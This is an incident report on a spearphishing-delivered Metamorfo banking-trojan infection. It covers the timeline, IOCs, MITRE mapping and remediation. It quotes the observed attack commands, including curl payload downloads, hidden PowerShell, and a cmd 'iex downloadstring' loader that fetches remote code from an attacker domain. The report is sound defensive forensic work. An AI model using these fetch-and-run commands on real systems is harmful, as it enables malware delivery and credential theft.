

# Post-Compromise Incident Report

**Date:** Dec 15th, 2024

**Time:** 02:19:32 (UTC-3)

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**Host Affected:** workstation1

**User:** XYZ\User1

**Incident Type:** Drive-by Compromise + Spearphishing Attachment + Scripted Execution Chain

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## 1. Executive Summary

On December 15th, 2024, a workstation associated with user XYZ\User1 executed a malicious ZIP archive received through a targeted spearphishing email. The payload triggered an automated chain of HTA, batch, curl, and PowerShell scripts, culminating in the retrieval and execution of obfuscated remote code.

The activity and infrastructure indicators strongly match the behavior of Metamorfo, a well-known financial malware family focused on credential harvesting for banking services.

The host was isolated, but due to the nature of financial malware, full reimaging and credential resets are mandatory.

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## 2. Timeline of Events

Timestamp	Event
02:19:06	Outlook spawns Edge via malicious link
02:19:15	Edge downloads ZIP file copia111224mp.zip

02:19:32 User extracts and executes malicious content

02:19:32 HTA script executed via mshta

02:19:32 curl retrieves secondary payload

02:19:33 Batch and PowerShell scripts executed

02:19:33 Remote script pulled from external servers

02:19:33 C2 infrastructure identified (159.100.18[.]13)

02:35:28 Host isolated

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### 3. Incident Description

The user interacted with a malicious ZIP archive delivered via spearphishing. The Outlook parent process confirms direct user interaction.

#### Parent Process

```
C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE  
/restore
```

#### Browser Trigger

Executed by Outlook:

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe  
--single-argument microsoft-edge:///?url=...
```

This browser instance downloaded:

**Path:**

C:\Users\User1\Downloads\copia111224mp.zip

**Timestamp:** Dec 15th 2024 02:19:15

Upon extraction and execution, the ZIP contents initiated a multi-stage attack chain typical of financial malware.

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## 4. Execution Chain (Observed Commands)

### Stage 1 — HTA Execution

```
"C:\Windows\SysWOW64\mshta.exe"  
"C:\Users\User1\AppData\Local\Temp\...\copia111224mp.hta" {GUID}  
}{GUID}
```

### Stage 2 — Remote Script Download (curl)

```
C:\Windows\System32\curl.exe  
-o "C:\Wins32Update_\up.cmd"  
"https[:]//firebasestorage[.]googleapis[.]com/.../bt?token=...  
"
```

This file is flagged as malware in VirusTotal.

### Stage 3 — PowerShell Execution

```
powershell.exe -nop -win 1
```

Used to run the downloaded batch and retrieve additional payloads.

### Stage 4 — Second curl Retrieval

```
"C:\Windows\System32\curl.exe"
-o "C:\Wins32Update_\up.cmd"
"https[:]//firebasestorage[.]googleapis[.]com/.../bt?token=...
"
```

## Stage 5 — Final Payload Loader

```
cmd.exe /S /D /c
"echo iex (new-object
net.webclient).downloadstring('https://contablebar.shop/l12310
/at3')"
```

The retrieved script was **heavily obfuscated** and contains references to command-and-control infrastructure:

### C2 Identified:

159.100.18[.]13/ldht/index26.php

This set of indicators aligns with **Metamorfo**, a banking trojan using living-off-the-land tactics (mshta, curl, PowerShell) for multi-stage execution.

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## 5. Root Cause Analysis

### User Behavior

- User opened spearphishing email.
- User downloaded ZIP archive.
- User extracted and executed malicious HTA file.

### Technical Cause

The attack leveraged:

- Outlook as initial vector
- Edge for file retrieval
- Script chaining via mshta, curl, cmd, and PowerShell
- External remote script execution
- Financial malware communication with C2 infrastructure

All behaviors align with Metamorfo's known infection patterns.

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## 6. Impact Assessment

### Confirmed Impact

- Execution of HTA and batch scripts
- Multiple remote payload downloads
- Obfuscated malicious PowerShell execution
- Communication with external C2 infrastructure
- High probability of credential theft (financial focus)

### Prevented / Limited

- No lateral movement observed
- No persistence confirmed in this stage (but likely attempted)
- Host isolated before additional payload staging

### Overall Risk Level: HIGH

This is a credential-stealing malware family.

All trust in the workstation is considered compromised.

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## 7. Indicators of Compromise (IOCs)

### Downloaded File

- `copia111224mp.zip` (ZIP archive)

### Processes

- `mshta.exe`
- `powershell.exe` (`-nop, -win 1`)
- `curl.exe`
- `cmd.exe /c echo iex ...downloadstring`

### URLs / C2

- `https[ : ]//firebasestorage[ . ]googleapis[ . ]com/...`
- `https[ : ]//contablebar.shop/l12310/at3`
- `159.100.18[ . ]13/ldht/index26.php`

### Technique Mapping (MITRE ATT&CK)

- Initial Access: **T1566.001** (Spearphishing Attachment)
  - Execution: **T1218.005** (`mshta`), **T1059** (scripts)
  - Defense Evasion: **T1027** (obfuscation)
  - Command and Control: **T1105** (remote file transfer)
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# 8. Required Remediation

## Mandatory

- Format (reimage) the workstation
- Reset all user passwords (corporate, banking, VPN, email)
- Clean the user's mailbox (malicious email + thread)
- Remove sender from allowed lists and block domain

## Recommended

- Apply advanced phishing protections
  - Review URL rewriting and attachment sandboxing policies
  - Run environment-wide hunting for related IOCs
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# 9. Conclusion

This event reflects a **successful execution of a financial malware infection chain**, consistent with Metamorfo. The malware retrieved multiple remote payloads, executed commands, and communicated with a malicious C2 server. Due to the nature of the malware family and the execution artifacts, **credential compromise is highly likely**.

Reimage and credential resets are essential.